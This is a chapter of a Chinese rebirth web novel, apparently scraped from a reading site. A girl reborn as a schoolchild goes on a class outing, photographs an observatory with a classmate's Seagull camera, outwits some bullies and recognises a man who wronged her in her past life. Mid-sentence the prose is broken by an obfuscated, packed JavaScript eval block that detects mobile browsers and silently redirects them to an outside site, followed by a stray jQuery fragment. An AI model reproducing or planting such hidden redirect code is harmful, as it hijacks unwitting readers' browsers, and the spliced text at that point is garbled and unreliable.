默认冷灰
24号文字
方正启体

6. 【海鸥牌照相机】

作者:今夕何如本书字数:K更新时间:
    程守萍想起陈老师的话,原来是因为不能单独行动,不然他早就一个人跑过去看了吧。


    反正她也没什么事,就陪他过去看看天文台吧。路上正好背二十六个英文字母,背错了随时可以得到纠正。


    这可是完全免费的英语老师啊,再过个十年二十年,一对一辅导的老师课费都是按小时结算的!


    沿着山道台阶走过去,很快到了天文台所在,这里地势开阔,周围没有更高的遮挡物。


    白色建筑前有块大理石碑,刻着天文台的历史背景和相关介绍。


    读完介绍后,沈继舟就开始寻找入口,可惜绕着整幢建筑走了一圈,也没找到可以进去的地方,门是锁着的,连个人影都没有。


    他看上去很失望。


    程守萍安慰他道:“天文台都是晚上观测星星,白天当然没人啦。”


    他很轻地叹了口气,安静片刻,从书包里掏出一个照相机,海鸥牌,黑色仿皮质地的机身,顶部和底部都是银色的金属,看上去既复古又很高级的样子。


    程守萍是真的震惊了:“你还带着照相机?!”


    这人真的是小学生吗?不会也是重生来的吧?


    但一想到他盯着检讨书写不出半个字的苦恼样子,程守萍又打消了这个念头。


    “嗯。我爸爸的。”


    沈继舟抬头看到她惊讶的神色,误会了她的意思,急忙解释道,“爸爸答应让我带来的,不是我偷拿的。”


    “没有没有,我不是这个意思。”程守萍急忙转移话题,“这相机你会用吗?”


    “嗯。”他简短地应了一声,低头摆弄相机。显然是在家学过怎么用,但并不是很熟练的样子。


    程守萍看他这架势,估计一时半会儿弄不好,便走到天文台一旁的观景平台。这里的风景比海拔99米石柱子那儿的要好,视野非常开阔,阳光又很明媚,晒得人暖洋洋的。


    风吹起她的额发,她闭上双眼,仰起头迎着太阳的方向,享受着阳光与山风的沐浴。


    耳边传来机械快门短促而连续的轻微声响。


    她回头:“能拍了?要不要我让开?”虽然是这么问,但她没等沈继舟回答就很自觉地朝旁边走开。


    沈继舟对着天文台换不同的角度拍了好几张照片,还把介绍的石碑也拍下来了。


    程守萍问他:“要不要我帮你拍张站在天文台前面的照片,留作纪念。”来都来了嘛。


    沈继舟先是摇头,稍作迟疑后又点头了:“好。”


    他把相机挂上她脖子,然后教她怎么拨动胶卷,怎么对焦,哪里又是快门。


    他教一遍,她嘴里念念有词地跟一遍,手上动作做一遍,也就记住了。


    “最难的是对焦,你要来回一点点调,等镜头里要拍的东西变得特别清楚,这时候再去按快门。”他指着相机顶端的一小块玻璃,“看这里。”


    “我知道了,你快去,就站在那块介绍的石碑旁边。”


    少年走过去,立在石碑旁,腰背是挺直的,表情是紧绷的,神态是拘谨的。


    程守萍把眼睛贴上小玻璃,忽然惊讶地叫道:“房子是反的!你也是反的!”


    沈继舟眼睛弯弯地笑了起来:“就应该是反的……”


    她抓住时机按下了快门。


    “咔嚓!”


    “别动,再拍一张。”


    “……”


    沈继舟走回来,接过相机问:“你要不要也拍一张?”顿了顿,又补一句,“留作纪念。”


    程守萍是很想拍一张,小时候她没留下多少照片,除了满月照,毕业照之外,就只有工作证件照了。但是……


    胶卷和冲洗照片都要钱,她还想存着钱买更重要的东西。


    “这一卷胶卷都要拍完才能拿出来冲照片,反正都要拍完的,你也拍一张吧。”


    “那好,拍一张吧。”


    程守萍只是稍作纠结,很快就想开了,存钱是重要,但她也不想错过人生中各种美好的时刻。


    跑到石碑旁,她捋了捋被风吹乱的头发,对着镜头努力笑出自己最好看的笑容。


    估摸着集合的时间差不多快到了,他们沿着山道往回走。


    山道边有供游人休息的长条石凳,他们走到附近时,突然从一旁分岔的小道上冲出来好几个男生,嬉笑着抢坐石凳。


    程守萍在山道内侧,离石凳比较近,被其中一个男生撞到了手臂,身体也跟着往前晃一下,差点摔一跤。


    那男生就跟完全没看到她一样,抢到石凳前,一屁股坐下来,得意地大笑。另外两个男生也挤着他坐下,余下两个没抢到坐凳,懊丧地叹气。


    沈继舟走过去:“你们撞到人了。”


    男生们朝他看过来,撞程守萍那个男生嬉皮塌脸的耍起了无赖:“谁看到了?”


    “我看到了。”


    “但是我们都没看到啊!”没抢到座位的两个男生一左一右站到沈继舟两侧,他们都比沈继舟高了半个头,是高年级的学生。


    沈继舟没有退缩,紧紧盯着耍无赖的男生:“你要赔礼道歉!”


    程守萍把他往后拉了拉:“走吧。”


    然后她故意用一种压低嗓门的语调,但其实刚好够附近的人能听到的音量对他说:“凳子上有滩鸟屎,就让他们多坐会儿。”


    “啊?!”三个男生像火烧了屁股一样急忙跳起来,转头俯身去看石凳,寻找鸟屎痕迹。


    程守萍忍着笑,低声催沈继舟快走。他也笑了起来,快步追上她。


    身后传来耍无赖男生的声音:“施建华,帮我看看裤子上有没有……”


    施建华?!


    程守萍心头巨震,转头看去,就见耍无赖男生撩高校服,向后撅着屁股,一个瘦高男生正忍笑摇头说没有,同时向她投来一道好奇的眼神。


    她马上回头。


    沈继舟注意到她的笑容消失:“刚才撞疼了吗?”


    程守萍一时之间说不出话来,只顾加快脚步,离那几个人越远越好。


    走出几十步了,她才想起沈继舟刚才的询问,抬头就见他又关切又有点不知所措的神情。


    “不是的。”她朝他笑了笑,“已经不疼了,但要是他们发现被骗了,可能会追上来骂我们。还是赶紧去集合地方吧。”


    沈继舟松了口气:“好。”


    “守萍!沈继舟!”蔡琳玲远远地朝他们挥手。


    “你们去哪里了啊?我到处找你。”蔡琳玲摊开的手心里有两颗玻璃糖纸包裹的水果糖,阳光映射下,晶莹剔透,好像两颗宝石。


    “光明的。糖吃完了玻璃纸要还给我哦。”


    “你脸色不太好啊,还在晕车?”


    程守萍摇摇头,看到施建华让她比吞了只苍蝇还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059903|195018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恶心,本能驱使着她尽快远离那个人。现在回头想想,她凭啥要躲开?她从来都没做过对不起他的事情,只有他亏欠过她。而且他现在也只是个小学生而已,做不出那些追到她娘家来打砸喝骂的事情。


    不过人看到恶心的东西,想避开也是人之常情吧。


    想到这里,她倒是心平气和起来。


    她拿起一颗糖剥开,水果糖酸酸甜甜,带着青苹果的清新香气,也安抚了她的情绪。


    蔡琳玲小心翼翼地将玻璃糖纸展平,夹进对折的纸中间,里面已经有好几张玻璃纸了。


    至于沈继舟么,在蔡琳玲给程守萍吃水果糖的时候又不知道隐身到哪里去了。


    临近中午,以班级为单位,找一个相对开阔的地方,围成一圈或者两圈,大家拿出提前准备好的旧报纸,地上铺好,就地坐下,拿出自带的午饭来吃。


    程守萍塞了块水果蛋糕给蔡琳玲。


    这是爸爸托厂里女同事买的,一般的粮油食品店买不到,要去市中心的食品店才有卖,要么就食品厂内购。


    每年春游秋游,水果蛋糕家里都是必买的。蛋糕里面有糖渍的金桔、橘皮丝,面上还有红绿丝做装饰,吃口也比西式奶油蛋糕要硬一点,但在这些年已经是比较高级的糕点了。


    饭后照例是玩一些集体游戏。


    丢手绢的时候蔡琳玲做了好几个假动作,最后把手绢丢到曹俊的身后,还朝程守萍眨了眨眼。程守萍面不改色,只当没看见。


    曹俊木知木觉,还在嘲笑别人。蔡琳玲绕一圈后跑回他背后,用力一掌拍下去,等于趁机打了他一下。


    曹俊痛得叫了一声“哇!”


    蔡琳玲笑得路都跑不稳了,捧着肚子奔回程守萍旁边坐下。


    程守萍朝她比了个大拇指。干得漂亮!


    沈继舟也轻轻笑了。


    事情第二天蔡琳玲就告诉他,分饼干是曹俊打的小报告,但他并不准备去找曹俊对质或是做些别的什么事去报复。做这些很麻烦,他宁可多写两篇作文也不想在那种事情上浪费时间。


    愉快的时光过得飞快,陈老师宣布整队,要下山了。


    回去的一路上又是一番煎熬,程守萍靠着姜片强撑,捱到终点。


    下车后,蔡琳玲惊喜地叫了一声:“妈妈来接我了!”接着就蹦蹦跳跳地跑过去抱住了她妈妈。


    蔡琳玲妈妈和老师打过招呼,就把她接走了。


    看到蔡琳玲抱住她妈妈,仰着脸笑得特别开心的样子,程守萍心头不觉泛起酸楚,她已经有许多年没有抱过妈妈了,现在回忆妈妈的样子,只有模模糊糊的面容,唯独还记得妈妈的怀抱是那么温暖而包容。


    因为秋游回来的早,她到工厂的时候,宏志还没放学,她就先去了爸爸工作的地方。


    家属不能进车间,只能在外面等候区等。


    “娄桐,电话。”程守萍听见车间另一头有人喊,还补了句,“你女朋友。”


    娄桐应了一声,不一会儿就从里面小跑出来。


    这就是前世害爸爸残疾的那个工人,爸爸出事后他被记过,扣了几个月的工资。但那些对于永远失去手指的爸爸又有什么用呢?


    尽管心里对这个人恨得牙痒,程守萍仍是礼貌地向他问好:“娄叔叔好。我爸爸呢?”


    “去办公室了。”娄桐丢下一句,头也不回地跑远了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)